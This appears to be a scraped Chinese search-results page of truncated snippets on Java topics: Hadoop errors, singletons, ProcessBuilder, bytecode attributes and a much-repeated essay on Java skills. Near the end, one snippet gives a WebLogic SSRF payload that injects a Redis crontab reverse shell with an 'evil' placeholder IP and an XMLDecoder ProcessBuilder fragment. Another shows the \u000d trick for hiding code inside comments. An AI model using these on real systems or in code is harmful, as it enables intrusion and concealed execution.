1:问题出现的原因,部署好的hadoop-2.6.4进行window10操作hadoop api出现的错误,具体错误是我向hdfs上传文件,还好点,之前解决过,这里不叙述,这里说一下从hdfs下载文件出现的错误...: 详细错误如下所示: java.lang.NullPointerException at java.lang.ProcessBuilder.start(Unknown Source)...at org.apache.hadoop.util.Shell.runCommand(Shell.java:482) at org.apache.hadoop.util.Shell.run(Shell.java...(ChecksumFileSystem.java:428) at org.apache.hadoop.fs.FileSystem.create(FileSystem.java:908)...(FileSystem.java:1970) at org.apache.hadoop.fs.FileSystem.copyToLocalFile(FileSystem.java:1939)
这两天小伙伴反应看了之后还是不会写多线程。于是,趁着周末大致梳理下多线程的知识巴拉。
java中获取系统换行符,路径分割符代码 public static void main(String[] args){ // 使用 System.getProperty("user.dir...String filePathSplit = File.separator; System.out.println(filePathSplit); // 获取不同系统的换行符
提高方法 如果你做了 3 年+的程序员,我相信像如上这样的需求,你很轻松就能完成,但是如果你想做一个会写 Java 的程序员,就好好的思考和重构代码吧。...其实这是一个一直在争论的话题,但是很多人不这么认为,我觉得就是大家不愿意承认罢了。我来和大家大概分析一下作为一个 Java 程序员,我们应该如何判断自己所处于的位置....即使也许你只是刚刚入门,但是一直坚持,你就是一个真的会写java代码的程序员了。...8、技能 UML 不想多讨论 UML 相关的知识,但是我觉得你如果真的会写 Java,请先学会表达自己,UML 就是你说话的语言,做一名优秀的 Java 程序员,请至少学会这两种 UML 图: 类图 时序图...Linux 基础命令 这点其实和会写 Java 没有关系,但是 Linux 很多时候确实承载运行 Java 的容器,请学好 Linux 的基础命令。
写法的一篇文章,来探讨一下如果你真的是一个java程序员,那你真的会写java吗?...提高方法 如果你做了3年+的程序员,我相信像如上这样的需求,你很轻松就能完成,但是如果你想做一个会写java的程序员,就好好的思考和重构代码吧。...其实这是一个一直在争论的话题,但是很多人不这么认为,我觉得就是大家不愿意承认罢了。我来和大家大概分析一下作为一个java程序员,我们应该如何判断自己所处于的位置....即使也许你只是刚刚入门,但是一直坚持,你就是一个真的会写java代码的程序员了。...linux 基础命令 这点其实和会写java没有关系,但是linux很多时候确实承载运行java的容器,请学好linux的基础命令。
导语 自2013年毕业后,今年已经是我工作的第4个年头了,总在做java相关的工作,终于有时间坐下来,写一篇关于java写法的一篇文章,来探讨一下如果你真的是一个java程序员,那你真的会写java吗?...其实这是一个一直在争论的话题,但是很多人不这么认为,我觉得就是大家不愿意承认罢了。我来和大家大概分析一下作为一个java程序员,我们应该如何判断自己所处于的位置....即使也许你只是刚刚入门,但是一直坚持,你就是一个真的会写java代码的程序员了。...技能 UML 不想多讨论UML相关的知识,但是我觉得你如果真的会写java,请先学会表达自己,UML就是你说话的语言,做一名优秀的java程序员,请至少学会这两种UML图: 类图 时序图 clean...linux 基础命令 这点其实和会写java没有关系,但是linux很多时候确实承载运行java的容器,请学好linux的基础命令。
作者:Lrwin 导语 自2013年毕业后,今年已经是我工作的第4个年头了,总在做java相关的工作,终于有时间坐下来,写一篇关于java写法的一篇文章,来探讨一下如果你真的是一个java程序员,那你真的会写...其实这是一个一直在争论的话题,但是很多人不这么认为,我觉得就是大家不愿意承认罢了。我来和大家大概分析一下作为一个 Java 程序员,我们应该如何判断自己所处于的位置....即使也许你只是刚刚入门,但是一直坚持,你就是一个真的会写java代码的程序员了。...技能 UML 不想多讨论 UML 相关的知识,但是我觉得你如果真的会写 Java,请先学会表达自己,UML 就是你说话的语言,做一名优秀的 Java 程序员,请至少学会这两种 UML 图: 类图 时序图...Linux 基础命令 这点其实和会写 Java 没有关系,但是 Linux 很多时候确实承载运行 Java 的容器,请学好 Linux 的基础命令。
本文对Java中常见的单例模式写法做了一个总结,如有错漏之处,恳请读者指正。 ---- 饿汉法 顾名思义,饿汉法就是在第一次引用该类的时候就创建对象实例,而不管实际是否需要创建。...因此,Effective Java推荐尽可能地使用枚举来实现单例。 总结 这篇文章发出去以后得到许多反馈,这让我受宠若惊,觉得应该再写一点小结。代码没有一劳永逸的写法,只有在特定条件下最合适的写法。...比如枚举,虽然Effective Java中推荐使用,但是在Android平台上却是不被推荐的。...最后,不管采取何种方案,请时刻牢记单例的三大要点: 线程安全 延迟加载 序列化与反序列化安全 参考资料 《Effective Java(第二版)》 《深入理解Java虚拟机——JVM高级特性与最佳实践(
导语 自2013年毕业后,今年已经是我工作的第4个年头了,总在做java相关的工作,终于有时间坐下来,写一篇关于java写法的一篇文章,来探讨一下如果你真的是一个java程序员,那你真的会写java吗?...其实这是一个一直在争论的话题,但是很多人不这么认为,我觉得就是大家不愿意承认罢了。我来和大家大概分析一下作为一个 Java 程序员,我们应该如何判断自己所处于的位置....即使也许你只是刚刚入门,但是一直坚持,你就是一个真的会写java代码的程序员了。...技能 UML 不想多讨论 UML 相关的知识,但是我觉得你如果真的会写 Java,请先学会表达自己,UML 就是你说话的语言,做一名优秀的 Java 程序员,请至少学会这两种 UML 图: 类图 时序图...Linux 基础命令 这点其实和会写 Java 没有关系,但是 Linux 很多时候确实承载运行 Java 的容器,请学好 Linux 的基础命令。
本文对Java中常见的单例模式写法做了一个总结,如有错漏之处,恳请读者指正。 饿汉法 顾名思义,饿汉法就是在第一次引用该类的时候就创建对象实例,而不管实际是否需要创建。代码如下: ?...因此,Effective Java推荐尽可能地使用枚举来实现单例。 总结 这篇文章发出去以后得到许多反馈,这让我受宠若惊,觉得应该再写一点小结。代码没有一劳永逸的写法,只有在特定条件下最合适的写法。...比如枚举,虽然Effective Java中推荐使用,但是在Android平台上却是不被推荐的。...最后,不管采取何种方案,请时刻牢记单例的三大要点: 线程安全 延迟加载 序列化与反序列化安全 参考资料 《Effective Java(第二版)》 《深入理解Java虚拟机——JVM高级特性与最佳实践(
导语 自 2013 年毕业后,今年已经是我工作的第 4 个年头了,总在做 Java 相关的工作,终于有时间坐下来,写一篇关于 Java 写法的一篇文章,来探讨一下如果你真的是一个 Java 程序员,那你真的会写...其实这是一个一直在争论的话题,但是很多人不这么认为,我觉得就是大家不愿意承认罢了。我来和大家大概分析一下作为一个 Java 程序员,我们应该如何判断自己所处于的位置....即使也许你只是刚刚入门,但是一直坚持,你就是一个真的会写java代码的程序员了。...技能 UML 不想多讨论 UML 相关的知识,但是我觉得你如果真的会写 Java,请先学会表达自己,UML 就是你说话的语言,做一名优秀的 Java 程序员,请至少学会这两种 UML 图: 类图 时序图...Linux 基础命令 这点其实和会写 Java 没有关系,但是 Linux 很多时候确实承载运行 Java 的容器,请学好 Linux 的基础命令。
今天我们来聊聊如何将Scala和Kotlin作为脚本语言使用(Java不支持以脚本形式运行哦)。...使用Java API中提供的Runtime.getRuntime().exec()函数或者ProcessBuilder类创建一个Process对象调用外部命令。...") process.waitFor() process.inputStream.reader().use { println(it.readText()) } 或者 import java.lang.ProcessBuilder...从输出结果的InputStream中得到文本输出,可以看到最终的文本输出每一行之后都会增加一个换行符。...println(results) 在命令行中运行scala Main.scala,得到执行结果: 11 data raw [这里有一个空行] 可以看到results字符串是给ls命令的每个输出字符后面都加了换行符
简化输入输出重定向的java.lang.ProcessBuilder 功能和java.lang.runtime#exec一样,只是java.lang.ProcessBuilder仅接收命令行以数组形式传递给...java.lang.ProcessBuilder#command()而已。...// 在标准输入中,通过换行符分隔多行命令。...boolean isAlive() // 获取子进程的异常输出流,如果子进程以`ProcessBuilder`创建,且通过`ProcessBuilder.redirectError`设置重定向,那么该方法返回...,如果子进程以`ProcessBuilder`创建,且通过`ProcessBuilder.redirectInput`设置重定向,那么该方法返回`null` OutputStream getOutputStream
文件 javac -g:none ClassTest.java javap -v ClassTest.class 只见我的神兽吐出来张藏宝图,为了避免大家去挖矿,只展示部分内容(dissXiang方法的...阿祥:你这代码也太烂了吧,抛异常就抛异常吧,为啥你的异常都不显示源码行号 我:我故意不想显示行号的(实际中强烈不建议这样做,除非你想作死给自己找罪受),下面我再给说道说道另一个属性那就是LineNumberTable...LineNumberTable属性是用于描述Java源码行号和与字节码行号(字节码偏移量)之间的对应关系 修改编译参数为-g:lines,或者省略-g参数都会生成LineNumberTable属性 javac...-g:lines ClassTest.java javap -v ClassTest.class ?...源码行号) 图上的LineNumberTable是Java源码的第8行对应dissXiang方法的Code属性中Code字段的字节码偏移量 我:阿祥,都清楚了吧 阿祥:不错不错,还有别的属性么?
\u000d看上去就知道是一个Unicode字符,转换十进制以后发现它代表一个换行符!! 那么这个时候答案就出来了,Java的编译器不仅会去编译代码, 也会去解析Unicode字符。...那么我们现在把那个代码修改为人看的懂的,首先\u000d==换行符,那么转换为代码就是。...可以看的到\u000d被转换为换行符,把 name="李四"; 挤到了 //(注释符) 的下一行,最终逃逸了 //(注释符) 影响了name的值。 那么这个东西可以拿来干嘛呢?...public class Test { public static void main(String[] args) { try { java.io.FileWriter...//\u000dclose//\u000d(); System.out.println("文件创建成功"); } catch (java.io.IOException
今天写一下 Collections,这是Java官方提供的针对集合类的工具类,也是在开发中的一把利刃,能帮我们解决很多开发中的问题,但是依然有很多人不会或者不了解其中的API,一起学习下。...其中的分别如果细看发现区分也很简单,我们一起看一下 1.Collectors 主要是用在java stream 中,是用来最后处理stream的,比如 Collectors.toSet()。...3.Collections 是Java官方的提供的工具类,今天重点来讲一下。 可以根据单词来记忆,Collectors 收集器。Collection 集合 。...List safeList = Collections.checkedList(list, Player.class); //此时会对类型进行检查,不是Player类型,抛出异常 java.lang.ClassCastException
提高方法 如果你做了 3 年+的程序员,我相信像如上这样的需求,你很轻松就能完成,但是如果你想做一个会写 Java 的程序员,就好好的思考和重构代码吧。...其实这是一个一直在争论的话题,但是很多人不这么认为,我觉得就是大家不愿意承认罢了。我来和大家大概分析一下作为一个 Java 程序员,我们应该如何判断自己所处于的位置....即使也许你只是刚刚入门,但是一直坚持,你就是一个真的会写java代码的程序员了。...技能 UML 不想多讨论 UML 相关的知识,但是我觉得你如果真的会写 Java,请先学会表达自己,UML 就是你说话的语言,做一名优秀的 Java 程序员,请至少学会这两种 UML 图: 类图 时序图...Linux 基础命令 这点其实和会写 Java 没有关系,但是 Linux 很多时候确实承载运行 Java 的容器,请学好 Linux 的基础命令。
都2020年了,你还不会写简洁的Java代码!...原始方法: package com.github.springtools.test; import com.google.common.collect.ImmutableList; import java.util.HashSet...; import java.util.List; import java.util.Set; public class TestFlatMap { public static void...; import java.util.Set; import java.util.stream.Collectors; import java.util.stream.Stream; public....collect(Collectors.toSet()); System.out.println(nameSet.toString()); } } 总结 Java
即可探测内网状态注入HTTP头,利用Redis反弹shellweblogic是可以通过%0a%d来注入换行符的,而redis服务也是通过换行符来分隔每条命令,因此我们可以通过该SSRF攻击内网中的redis...%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave%0a%0aaaaa注意:evil处需填写shell接受者IP并且需要进行URL编码换行符是...漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。...version="1.4.0" class="java.beans.XMLDecoder">java.lang.ProcessBuilder">java.lang.String...schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> java.lang.ProcessBuilder
领取专属 10元无门槛券
手把手带您无忧上云